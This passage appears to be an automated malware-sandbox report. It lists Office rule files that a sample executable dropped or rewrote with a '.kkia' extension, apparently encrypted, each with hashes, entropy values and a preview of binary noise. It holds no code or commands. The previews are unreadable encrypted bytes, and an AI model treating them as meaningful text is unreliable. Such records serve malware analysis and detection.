.)...+j.......-TI...A+?..)...q.;\|!.S...TiY\.[.......Y..YUTL"=v..-X...vFm..~.hV~.d..l.x.OK....%r\|.Z....jy...pc..Bt....@...UX..........gN`.......U.,DX..-..~F...,~'.U^......j.6.sl...JJ.2..u..K#.Y5.....N.#E.i.s$..g.....%.{....\....I#[.....nv..$(n...M<$}..".mh..U.M.`...o.!\|.u!..c..,.rsV....r.._..........d7d}.{_...8h..2Mf......=.K".".V....x..Ito.t@.5.D8ug1...Z.....o..4......bT....r.x?v..b_v....t.se/o.{v;!,...w......g..B..H\|.d...+.}.g.\|(.F..-..`.H.P8...(u...&.bD..:....>JH...D...~cP.G.{..........:"`.Zo9.Jr...W.......DX`!F.m1MG...k..'.T.\|."g.&TmL\.g~...2.:E......M..)...\...'....W!fc.v..X.2Y.P...t.u...N8:..2MM..p..Y.D...@....xw..qm~...o...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10781v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.743976885847716
Encrypted:	false
SSDEEP:	24:mR8g8+6vq9+p82GEfM8IScxc3TrzldFmcI5kbD:mR8gT2q9+pjnU8IScm3f7D
MD5:	66D40AA0FD919ACAA02E6A505A23C4FF
SHA1:	C163E2D46943E90A3DAA6EE877BAA05B32B1A96D
SHA-256:	9B4EAF3773ED841C339E2B7AE55C9C81534D75C04BD518D6031655CFA3D1D1C6
SHA-512:	63599794485C09CC0A6A652D946A4B8FA97516BD9DA1AB367ADF76B5A91B2B15BCD67F268A3D11B5026898E2A6C2EDAE3373601A8C3D3EFBC80DA232FF445350
Malicious:	false
Preview:	<?xml<.8.5..R....G..GP.6....^..l(.a..A.....s:..vP2j...^..-.v8..&e....,`[.....B....H..d....!....b..I.MZb&ouF...wA....P?....b......<>...H/.Z.....m..]M..."n.7..sT..I4..5k..]...,......\o.S-..$.'.Qj.b.F.-..fU6.}....>,....F....\?.........9h..P.D7.}.U..x.sJ.. .K..#. .....o!Im.jE.$..7e..;.^..\|.......n..A.1...m.$.o..U-.T...$.>Poi.Oe...xa...........`}Y..i..3..5.....qvV....~.W....R.^...D..=.0[T. .G.&...pvE\yo.b....~.........}&z......:..d._.W.ZP...n.......+GkR....0....:v{...f.Eq....<........<.......3..50.p......%....o0+<.._g.....C.[S+..........Y... Xn.-..x......U...C.].q.a..e)T...\..If...L....l......iG...%.!.f.../...o.op.+e.8.rB-+...;.w....?......W......f....@y.v.x.....e..D.K..t.....R...'.I..@lb......<t.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10784v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.902739727084241
Encrypted:	false
SSDEEP:	48:Ouf1lepgvleUuI8wO8iTPZYAcRBLgEHPLOMmAepoA0ypA6DFD:Og1lrNeUZ81JZYAcnL6NAel0SD9
MD5:	F4F10D382A2CFC25373B43E20C1924CD
SHA1:	37C05B571D6AFE14D3C1383FFDD5D7AF5E6CCD2E
SHA-256:	E6F042884065575ECC48ADA229CDA152CC26748903A9B7B5A4ED8987475AB6DA
SHA-512:	6D797739953058C031962225EF769C23650E8BEEB6DAB6951586ABB70952E2555EFE70F61EDCE823102D5B9257F9702884FFF7202B16FC569301D7AE4A008CA9
Malicious:	false
Preview:	<?xmlu..0.....LC...J.H....g.CszG.A.V...Z.."..-.sy...G..>8.}.(..0......m..6.+...6.6.N.I....>."...........z!..\\|...J..}...1.......g.pd...J.M..JH@_.....o....q..#7C.\h.d.~.E./....q......"..6.....H.g...q"[..C..-....X&0..GR".=..8K,F.!...0.i..H&Q6.MG..I...}F>D..!.M...Bu....tw.3KP..6N...e.@...........5.a...$?K._.k........L<..n..3..P`b...@e.tl\.e.O.....R...,/Vn.,J'.z0.:.[......oY.<..I..U..r...7M....\|~.S....`sR..P..x.x>.{...qT<`....\QU..r9"..@...r.....X".SO.Ff.2.y..+....PA.K.Y..../. `_dE.#)......C.m.5...e>I..K..^.^!..~.:..(.O=.M..O7h..D.\..U...2+......F..>".Z..T......b?...#h...#.acu...k=..i.......~..k.....'..*.#..3....#.......-..7Wb.eM..2.\|J.(.Q.].>.<.^..... qq.O.'\.......4..}.(..;....-.../..v....C.\.v".-...V..X...P.4/...QP.S. X..]>-..n..<.4.R.E.+3089~.4!.I.Rz....,..mI9..j...N.y.C.....kb9cm.Bn...X.B...!C`B.....O[....\|..#.....c...E..l,N.....A....0..o.OF..7..(......6.a.]....-Q....{R(.....ziL......'...m.Y@..o].%..=...;....z..q...+..7.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10800v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.702572955583726
Encrypted:	false
SSDEEP:	24:VOjDxBNM09wr4Azfw7mCG17ZCNJ+fQnhykbD:VOjDD7qnzdCIeJ+YND
MD5:	93AFB6B33139FF08BDE127AD3DACF936
SHA1:	6A391C14B3DF1745665A42600908E87884AE32AA
SHA-256:	CCEFB95E6E8872A41AA8076D7106E71ED29219C0FF040536C8F5F3825F6FA16A
SHA-512:	A2860BCDB300D6F206B0A000C39BD312F2217CA9776E6656C1E655026EE4D2D35799479E88D560B24C359C9D315A44F0A3D50C99120913E35CD1AEFB01131D1E
Malicious:	false
Preview:	<?xml..L._i.p."~..q9G...P..^x0..N.3^..#...!F.:......E..Q..SV..l...-...q....0T..x4..g..L.E.9c.a....}5.S.b..-......51ro............. ...=".....-.(A.s......Q..".......F.a..J8J.....k.....$t...@..3.c......S.i..2.z\|..a..7.......PAw.....2.8g...z......m...H.X.-.a...+Z..`%.1X.....%)..2t.&.......K.%.<8..^[..yBml....\.^1..4.."qTXC.DB.Y.G.]4q....V...(.pyv.9.P.B7zo!..3....s...W.>I..H/...+.9.A...W....H....oN.N...h.....I.3...L.....F.lZ.(^MRBJI.q..y...@.L.R...?:.p....q .....c...Ph.o&.u.'I....I....m9..v.}.9FE.l}8,a...O..d.....uy...\|.U7.B3>.'k...N...}...GG%.Z..L}.....'6..<\-Pa..U<..,...t...og/...^.\|o...#w..5d.~.l...q.u.....2.......F!.......[.H(.(..Dz%X>.Y.... Z..."..Z.r..:pRmq.+dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10801v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.929861004078153
Encrypted:	false
SSDEEP:	48:r9XwHh8YL9jslBQpbwqWounVswDwGYYoMwZ7Fl46BwGNCmSVHpMAejVH5DTGMtDD:r9wHhvL9jslHnVsW7YY2ZU6CECmSVHpm
MD5:	DFBD520BB7E33A425E054B38E2E276ED
SHA1:	7C9CF7C0A1FB489CE87D0F90366887B8309E84A5
SHA-256:	806BE534EDAE43835FC5C692DBF04F83A56441981DB47A8F18490C54D465884D
SHA-512:	3DDBD7E6AB65F45D10CB2902EFF2095A44D5FE8F10714C0528A0F361E21796D20FB3165C1AE0DEC4886E41F80CE694BDE01268F3C6FC5BCE332900C402A45419
Malicious:	false
Preview:	<?xmlS..a...+...8....x.e......bu\|[.... ......\|.4...m..x...rK.. ..t..0....GzV..G...T....{..e_Y..I..j.fo.`.di...4.....T.tD.2f..UT..........q.b.Q....B..@.'d.,%.dh.....v....<+d !..D..5..8.W.-.5 .....0I.W.(.J...{C........V.........^.Y.XP.v..Kl3i.d.]....W.,!#]...............=...c..p]2>..^.q.8(!....~#. ..~.A'....rzG.,.hN..N....!....v...S0.3}........0^.6&u.$R.x..{..=.E.o..x....&..9.+S...~H.[....{i.,.\}...G.?......,D...J.mr..N@..+^..,?......e..\|....,.>L.Dr..\.4..,.W7K.g....@Efi....8...$FO.07.wM..Bc...P.._\|..Px&..."\...a.Z.L....Vr.....u.\.'{....}....%.CP.5..P_..B...0...p.....H....EEo...9..gh...p.Z...)..Tb...U..........x.w,...l&..N.jQ.$a..%.]5....A......h0!..m....h..yz.....b`..d..-.!...a,t..y..4.r.N.r.t+.....bpb.Z:...........n#...ym.j.x.\'....]U..s....>Y0+...<b...Pa...ig.....}..D.Nmd.2.4[6.x..\|...W.....)hw.f.G...R f6J.r..4......w..#d.&.Ru..L>X....w.3_S.....e..8^...SU....\|...P...<...j..L.).u...-...~....{.n.......%..a..*.k.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10802v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.932430263751278
Encrypted:	false
SSDEEP:	48:YC9sQkeDo5V1QurR0vySyMwlSwe4pQoRSoHj1nmkzDq1f4HBcjhdhCziApAY83vJ:OQkEohQ/IMw4p4pQSTxnmk4QHB8hyIj
MD5:	B8C3AB2F5B21331A19FC1129A0CCC112
SHA1:	D7B121C5E752A9FEE5D89ADB0DFEB07182253A9B
SHA-256:	7A598366DA800C01DD7E63153FAA2B56E46EA09DA1E79AA8BB4CA9C20452BBC7
SHA-512:	678081B39688A284D0E2E38463A6FEBC2E722AB08BBA75F71631832E30572F7285C2426883512D6496846162EE1A2507DDAB52AAC3ADBE085C4AE3C01004A22A
Malicious:	false
Preview:	<?xml3w...r..d.y....n...I...#.. ..>....._X.).E..j.'....VsJ.w..i,..Dg......H...MT..3.\....!?H.#K+.....?..8....E.T2.?...u'}=.}..- p.z..].g.).$.d&. .N.&......+J....?.u...%...k'..QR2.r...L.7...q..k.S.<.A.7=~.B..Qpd....0D..E.....Vt9.v.q. ...p..1-.['U<U...8.@.Az..GN..^.$.1...Bu6>.~.....'..........Z.<yc..V..[.Ylr. ..u.;...8Y\|W....._..n.[...p..%?........3..Y...G&X..........w4.d.]k.=A&.......F...,.S..._....%Z.._..'.Ie.....~......y.....<.P.Bw..%.D5t.j<U...].(... .x+..px...Lt.`.........XW.....1d.......F?4..;..N=...f.d.g...(@..X..)..0...e..._......86Q,A.e;..i.y..aj....].{....y.@.c.....+.N..........I.3.LM......v%I!....;.hX@..<.'.a.Y.....{-z..n....b.9...]).9.....u.y..b#.LC8.)RhJ.p.u.R...yM.../m.U.)`^>..x.9r.%."y.Ii......p.n.>.8.t......\|..#...T.k.twQ........\|....6..Z{Bk.......wJ.....T.8..?%...Gz.=.Ads.....V.Q5..... .B..].N7.._..?$.....$.4t.H.B.F....{..3.r.e..S......p.WI@...g..a00..z..0...j......t....A7..(D..."..\|.!0\.ya.^.v...RQ..2_H!...v.{-....}....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10803v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.951006351572333
Encrypted:	false
SSDEEP:	96:AA7z/ow2DcyBFG4pchGIv5t8wcuKOSabH+2iieRpy/DDL0b6v3LD53N:h7zZ2DcyP+khuKla7TJIpoDDX/53N
MD5:	5E31BA0EFC83F9531C0963CF0D1388D5
SHA1:	ACB588DE26085237116B992990EF096A4A5964C3
SHA-256:	97C652EF06CD961D1BA3A2F2C2A7F27D2984B3BC60638D46A639FA40640390CE
SHA-512:	AB85557F37B500274436A2F1E3529604BF9114C56EDD4A7744EB1111BFAB3566B1F50AEECD03E6C60EF7E9CA1F3A65C02BDF232FDDB57B4FE5D02D5496F638EA
Malicious:	false
Preview:	<?xmlN.. O.P@.k${_7......T. d...^..z\|Y.....,PJ...._.qL&...k....u4.-..H..yG.Np>-..E...b.-....0.D.wclh%-+.\...t_..u^T.qp......{..=...f[.......A.\..lZ..$.g.%.,..U.q.....qHA...a=.x....M{=oo.-.,......Y.............8..f<A....mCi.....9...b..,........v.g.r.=I.4..=...i..\.9.=].s..M.On....Cz!w.....(S....w.e.4...?.....8.V.~..d........-.RB...h.3.;..c ..:..4....Th.....g...;.......qY.C"Y.q......k....{..o...,@b.....F..:4.1.,v..n.Q.....N..Z.!V[Z....n..Y.....W....l..W..5.a...;.d..7.^j....vU.6..R...C..s;=.J.9\e......j....r..;.9.Q.Z..!K...g1....Qm.D.~)1[.s..R.X.h..u....%...6.\|..p%.."..8E{........_@...^......V6.....~...,r/....#/.[R6.c....J.7....]%."...i.\|p...F.`./,V.z..:.B[..;...1.N..`..A.2'q.O..L/..uH....aF.9b..3..^....(h....r...$...<o...n.%...'.b...p.{U..f....!h........c_.yI..Rj.k.,....t.l...=e.....'...z...=p..:.M.f...i...(.5.Q....z......l...0j....uQ..3L....;..w...:SX....?.'U'..$Fr9sUQ..mK*..lE...=...(u...b...v.D....tR.L.4.p....P%D...P..H....;...0z."

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10807v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.857983893080984
Encrypted:	false
SSDEEP:	24:g57mGG8jr1KqYut4ziSBy6byNN4yyKPSW6+YYc8wuMt+ze0IxicxPUzkbD:gQGGi1K0nSBVWVyKt6vMwu3zzIiWD
MD5:	DBB3A7697D763A329A1D76DE80B60E2C
SHA1:	831F10251140D453D0E668CAE6BBF1E3E1172500
SHA-256:	6C163C10ADDC56105BBE85E57B7F85DC49CA76420579E4B88035A00BB807CAD2
SHA-512:	4D3AA894C4EC78BF56A842288A43ECB8D0A1DAE47B4B1C19AEE184D22EDDEE0101CBC2DD476BAF4037229676AE809AC55FA970A43B412381973D390793580278
Malicious:	false
Preview:	<?xml.v.......#z=.h..X2....w.]kao.6G=..N...A.`..C#.[/.U.eP@..'5R.8.z...._$.[.~......nfA.T.4r...l.....}gs..EI...C.)7.2xd.%...\.^.....uJ$i.y.q...-d^.....\S..9....s..M8.w1J././6....3.)3.D....v\|......e..!aq.."..O...R..D~..J51..N.H4C-..v...\..GUP..._..#.At..%VB.b...94h.K..k.HTT0.b..]..t...dS..nt.....#...4.......^.U.}.{g~OyRX...S...P..k.....p.....5.....EI..g_..>.b\<....7....Y.......:P;,...lpH.K....V...YW.8.l..;..q.#........I..jo..4..G.s..-6..^....."..mPv...#Vg..yx..m.M.!E7..3.R.z..Z.9F....Z.......r.v...`.m...!..s..._..g.-.....C....ww.......Iu.\9..CJz.]g..}...:....q!.C...`..........#..F^...UOW..d9....v.O..Xp_....~rt?.A&..aB.Fp...i...-..LA.56t.*.KI...F..+....+..Q.\|..Q....7o....H..@4..6Z.....l..%y.v.....<.q.....!.X....N...(...p....qD.......]...[u@lx.Y..V.......aO..s..E....='.(.._.D...M........Or..E..$$H\|).b.X........:.?5D.>i...i..Z.!.....W.>g....SO<.b..%ma..;._...8.o.D.L.j.0....s~<\..$(y.`.Xm.G'..9....'=.......3...^..MI..yfN..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10808v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.85752713768389
Encrypted:	false
SSDEEP:	24:ZOi7kAF60kE/A1tgEJ7CWBmkd7povZkxL6H3t/eUyPSjzzApENroMI0rn2/VO5VI:si7kpnxJ7zjdN+RZSSPEpEFfI0b29O6B
MD5:	6F77C81221CEEFE7DA3175DC516CA6A9
SHA1:	23157DAFA20559E263ADE1EA976CA7B91976AD64
SHA-256:	6B7F353B2A196DD8E7B5D8F5A71E64EAA77E7E85521449818658DFDCDBD01C94
SHA-512:	24E4C966FAF83E703C97351FF4F355C965401D49E5BAA554B7A76F802D24333A36F0188D7F99CD5BA0C91B359A141B93F4DFAF5C5D5293625342707E8CD24D1F
Malicious:	false
Preview:	<?xml..@....i5n..X.zK..."......M%k.Z............+}`'.Y2x.uO...,.W.S....:cs...j...B.]Dz3.[k.W.EB...X.....Z.......M(..P.l.....I...).......#})H..W...N.r.....0..@Q._.....u.....%.\.e..3~..9...rI^...?....s.W.)....>..9...\|y.u0.".M.o..V.=.............Z...2a}.5...K....+./..vDq)9M...1.N.6..H.Z..=6....V...L....>t.7b.G..2i.'...l....c^O..cmA..Gn..q.....OfJQCJ<h%q{x.R..v....E..a....G.".gsA........-.1b....y.0....y.......)...e..../.......4...p.9\.4..N._.Ct..0.$...p.1?l."X@F. x.Y....1...U.1.s4..O.M)R.....u>.S~(..[4A%.7.@$B..G...P..x.."7..B...Q.n.....m.Q....h.#..:...ZZ..@...l.^....w...p8...^..1T..YpW..l....#}.Z..T..y.../.c........I...c....Q.%w..s..C.;._,M.....l.H.JY..\|..%l?..P...3j,~"......C....H'..0.W\....V.nw...<.I...zz.Qr.....#..!. r.3%...M..4"n... .......y-...W.}....{a.i^.....Z.rZ6hl....o...f....!?0.....'..P}m..3te..Y.F.V....v.aA...aM...E2...y+.....f.f2q.pGq...`.!.}.u..;...ex..d."$...n...........O.6....a..R.......r.Ok.`.@.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10818v3.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.800615294195375
Encrypted:	false
SSDEEP:	24:Jffgr7NgUv3B17yfTRZYzIEpptRClJgkZGYgAFw5qR8tjkbD:Nq7vZRIKzjrtRCfPZTgrqRWyD
MD5:	C1323C6497A1A4CB9988E4AC7510611C
SHA1:	54DD2A887AE80A311CC25713B201DFF3D4ECC444
SHA-256:	6C4FE3A3CCD1954B04A3FBECEEA301E67F1B902AC61D1BDC86A746024432F586
SHA-512:	5082EEDBC43ACDD1E2912A85A77D9203C3C893E98471857916D87A25CFA8928C91A972FE83E52D12DCF7DEF9648240049D5F288E115323FD81F5CB921D97160E
Malicious:	false
Preview:	<?xmlJ....\|..].ID.N.._.L}<...'in.E...Rm.N.4.p....J.@{..F...H.U..q5.v.k. a..p..\.F0..zn.U!.d..Q.l.@....9.....m....G<&...,.k.... %...M.....uu!.0Ft65.#.q4..].@.CYGL...#...G.}~.... .G..3.e@.?Tf.0...x.....!'.Z....}.."........#..........m.HR..rj(.5.G.......O...@..H.{.(..>~Nw...s.k4./....>A..dc.p..`.......p..\|...b..w#.@..gF...pE8......i..,...R-..>.B..`e..D.....5O.=....,..z..]....7..O.....E.\5.... ..t....R_.=.].=<cRl..Ned....J....t..y...=T.#...[.$..b...y......b..G3!4k.......=..l....q.e.&X/.T.#.M...rh.;.u...3.wB.=e.0.N....../..............&m....}..Q..W.p...X4J....`...d...Op..>..<Q.......0...P`=..!...z......<!..=."....F.\....y.H`..v'...V.s...........J-.e..._.m.?..wH...n.."LO..0. ..R.h"..3I.9aM2........0...1._"0..5....#.g..S1-!...y..A!WO_y<..jHtR.1D..{h........W...^.0.TZp.......q...u.....%yl),.....GF...7...... ...,..(......V...G."Wm..\..U..l....q.n.x.P7..P.T...Tr...a.....\|\|..Cw.<.#5..J......{..B..V.y$W~..R?fa.li^t.yJg....\.v..j.......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10819v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.978942713284657
Encrypted:	false
SSDEEP:	192:EdiFgTLz8Lt+N+HhuCbwC7gZeiAxQadsBzn:jFkati2kC0YOsQMEz
MD5:	0281A4A6A0B0D3C440CE6AD8A896B16B
SHA1:	5D6F9001FC53CBF049750BE898FF8863D2C0FBF5
SHA-256:	59B4A291E7CEEC6DAAE61C7155E9500600C20E582892C824C3686E47773D97AA
SHA-512:	702FF9B3256B0C02EC833D35F82BD030713C22B6F3297E3DB3974BE9CF8D9A1AAC07118B619B70EC916CCB73222B481F630BFFC0D2ACC5B5AA7C2C879DE9008D
Malicious:	false
Preview:	<?xml.\/......)N.....A6Z85f...LRy..j.....<..A`...j.D..2b...<m..g.^.Ayw#....7I7[-_....+..G.$.;...\|..MzWH...........b...k.!.h..,....k..:?S.....2).N...07..\.@......0..U"9.=...%....{.....-..\...\|.]Y...].....:....;..).BY....B.LR.1`..N.v......B...m...a+.$.i1k......7.........7;..;..D..Y.......z\.i....6."+.....~L9J.vY.o..5.G.V<..'"-..>.i...+...u......F.............pc.Q.,m...\|.hw{.jn....D..I..UM.....a3.~rQ.J...L..AY....$...(CB....l.>..S.Z....Po.g.:W....V9....w.i..P!...t.<.....-.Cd.v.p~Z-g.gH.:..W......5.md.4 .o.d..ND...dI.........c.."A...D...0.U..7.Z..g...B.....7D..yN3......zr`.......<.e.......fC....e.),.Sy.~...MB.NS.{Y..)t...S}....cX/@Yu...fo..!Mw....M..<!..nUI...l.<.&."'.7.{..ee.h....%..,u........\E.2...y#...^.......\|...Uf*!_6/.SBM...x......HS'.Q....Z..U...Y3.<.?..R.....w..V.B.x.D.l.\.{2.!......U.d..;\rp........l..c.0VU...y.fZ$Y.._..>..s..'...+..W5.. ..fa"....+.......r...b.....l...Q.HP.3.W n.OX.2b'....!..F.....n.J.N&.v\|..u....[5.W...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10820v3.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.966471522591899
Encrypted:	false
SSDEEP:	96:P9uAIFx32ala5XxVFGmnelitG/7fC3Ltzyk5LWHSNRRMe12x2SEEvN:PoAIv2alSXxVg5lV/7fC3LtWk9NrvK2G
MD5:	D84660A38FEE95634C5356561B1A7512
SHA1:	78FE7F5D4FEB501FA07D6B6D5B281D261A9FAC4B
SHA-256:	14D926EE342B254D2F73EF479E1FCEFB7D150BC27AE6617412023B6B29FD2371
SHA-512:	04A97769E6AABCEA89D1B6D1EF4F3CF1A1D93E95257B05CCF3BFBC8DCFB35CA3CAF04D6097D6B1AA7890670C27308C9865B1EF3BAC324FEDC99B7A7078F2D33E
Malicious:	false
Preview:	<?xmlaIM}N....}.0n.CM}.M.^pP....3$.3.:4.g.~q#.7..e..0.0.P...\|N..m..X..G.+`.u#S..i.....[o..!.d...\|..p..p....&..\|!..2w<\|.(....Q(.Z.o.?.2R9x.nl....G.0.._-..F...&...~]..........9U.........a..kvho...t7Gf....{.o.vU,......ERF...~..h"."3......^bz......4.8..Bk.9..k0......+..F.7.A(....O.X.....Q'`E.>..W.2x,..\..2.\|..b...........S.W&..{.r?.....o.K.x...[...Y..e...G.S../..!/7o.T.y.....sm..9Q...m..j0j. ,..u...2...@..)[..j../.9.....1x..-.0.t.@........A...J9.?4.j..QU...H..y....". ....OK..^.scq.....-.....AXTcY..9.4A..U. ..MV...u.H}f.....@..-.. usE...:.\|..?........`.G.:\|.=...@.....'eb)S....(.-.~.(.x<O^y.....:0.......IJ(Z..N/...Wf......9...LE5.C..v)...0y.....<G...._.)V.#l.B.z.hr.)..E.A....2..Jx7......lJ.L...RZ.k..4...Y..I>8`...^t..K..6.s.H.Lv5.\.O0...5.,..,...%.S.GF7dSZ.w\|....Ey.\|.....p:.....y..@..J.\%ZI.Z.c....ARN._<......?.Y../;9...{..e<.x.....n..ZK......[..}.E....m.~.l.j.V.e.9{S..g.Af/v.k.1.....T-.....s.,.}....?....i...W.."..)........u.&.}...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10821v3.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.961937483470904
Encrypted:	false
SSDEEP:	96:sKvNG1N+NfFce52bhbLO0ZIk2hs3shIFcA4S7MN4+BEg4ld8lix:sXn+NKeSj72u8yt4SD8t/e
MD5:	96667D7524EECFDE86BFCB20AD1A9965
SHA1:	BDCC73B56BC2838EAD2613BBF7A2FFEEE24D1B7C
SHA-256:	E05809E0DCC52517FF1EF8FDED94E94CCC39534EC168F5E54CE19E75CFE1F0AB
SHA-512:	B25728F6AD548845DDCC98F1EF2B68099EB1CC3A44E553ACE198F5938ACB96E250678C21D03BB90F049DB1CC70713550F19CDF9FEB108AAF39C964F6A4929FDB
Malicious:	false
Preview:	<?xml.T.T..ursM..H..8_....c.[.......)..9...Z...P(+..3Q..F?..!......,."+..F.e/`.$GTM...v......q..2$...S..W.......%..P.....>.Ld.f...^..z.0.%#'.a..$..Z!0CE`...h.r........</y....r.)...0U...Vn.5...!.>.H..<^.,.....(.T...td....P.......l...}.I..C<...!E_.bO.G..^~,.....}.0....m..pRzh.Fl.....E.2...<J;.3....x...L...E...k...x..i..W...$....;.\.C..T.sY...#..D..`Z..Gx..~c=.....!.9......K...e...#siTM...!P.......U.....AC.^.kGi.@e.....&$...."....b..i.....<.......k.=......>o...@=6.v.sb.H...T.$..]..to.....#.(..g0.@Fu.j\...1;"Q....P.ES,t..S.....^3.oJ:.3.f.PF....Jrh...R.T...K............"..1..'Q.d.......*F3..j.\f0F.!YV.j~~....=..qg....I......K)...X.w..a:I...Q+.../.....=.=?....h....P....w..k..f 7.J....p.CWQ.p...`H."..)4x........ot%..{.y.C.O...yM?.~<...o.i%...c".m.....1.\m..7 .....,...N=v....4..D.C.w.}r;..0.....-#guhWP...{..,5..n.v...c=v\..kDp..Z..gM&U....([W..d.c+../.!.>.u.1.f...q,....[..>...i.F....a.B...l.....W..o.7..U)1..........me=...Ff2K...z.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10822v2.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.954258935012579
Encrypted:	false
SSDEEP:	96:fAbggMGyi0NU6UyxxwoqX5yd7RSKI+qwGB/N0DKXqSapGGWs44v97z7079y6dXy:fAb3e5RBxq05RSKI+qwGB/jGFWX6xvuS
MD5:	81B6411036FE3601A9E661F18FC6DD19
SHA1:	E431FC5462364E9BF0838F07A1FBD60629D2409D
SHA-256:	597540089CE148825B027FF6AB7E2B852C91B2224607D47B395709D4D54E2D51
SHA-512:	14997F147267B1AB9691EC8FAA8405C9D8C170B635BF203E955E85E2EA3B3F22D493491F97736DFE5DFE3169248ED19F2A3F1347E3A66F684FAA3D7E7B2EE7E5
Malicious:	false
Preview:	<?xml..(.1.B..b...a..^ ..4..y.!.l.&.2.Q.`."..... '.......i.A..~.$s....:.].Z.9.1......2..x.jl.c..0.S?C+d..L..%.0-...4e..._q<..6.[.qN..n.OkNe[.>.x...v%........o..d.^...Bh..^..k~wPN.$.h. k.w.Hn.F..&A.lS.&t..P...EN..`>.....$K..H.!X.[...yt.2..n.G[....vdj...uZ.b....J2o.t..Re.....e..ya.h..P..g_.....s..K...U..{...v<%..S...=.U3.>11.......?........"..]@..x.Z..sj.......Ux..baA..6....)C.....m.rF...H..R....X..r..f.....;.z.\|u.. .'[R.Z.cX..\|.9Q.g.+..Y....RW......_.....\.....hN.-...l.h.....c8-e..u..a..r-.:\|..p/.,.[..>.,x#..u.w..-.....c.8.O.&..>...}U.....FL.....T.=M.......:.I..}...._YR:....{.R..e.s....,@E.'h...k...z.i!..K.$..9...g.....1&.w..7...t.C.}]ov......$'^...a.sW...r..Np..T{y q....7.r...8Ks..H...G...z.....s.....D-....'.[.!-..8...Y!$@..y.'l..3n}m...]..r.X'..[u7^G53\|0G..QA...(z........-"K.....\.LsT.._[.".R...f.(.....o.R..W){M.@=q.}....3..]\|......`....0..@...[93..Y...9".D....U8K.....N..P6m.....HZ.@....8I....@.l.Nz.gq..`...z.9.".a.....w.\I.G.....>.u.0

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10829v1.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.939788163474898
Encrypted:	false
SSDEEP:	48:cm2ERu406iIicQu1uqXOtJQWpfubVNieE60qH96eTjkQGKZBqCx7RlZJMlQLl9ot:32zdcicLuqXGJQWOiehH7kHOtlZSle7K
MD5:	E81976A97564C3C1F8E7D22E4BE5A319
SHA1:	5344C4BFAA45E9007C539C0EFD434BFCF1CD6ACA
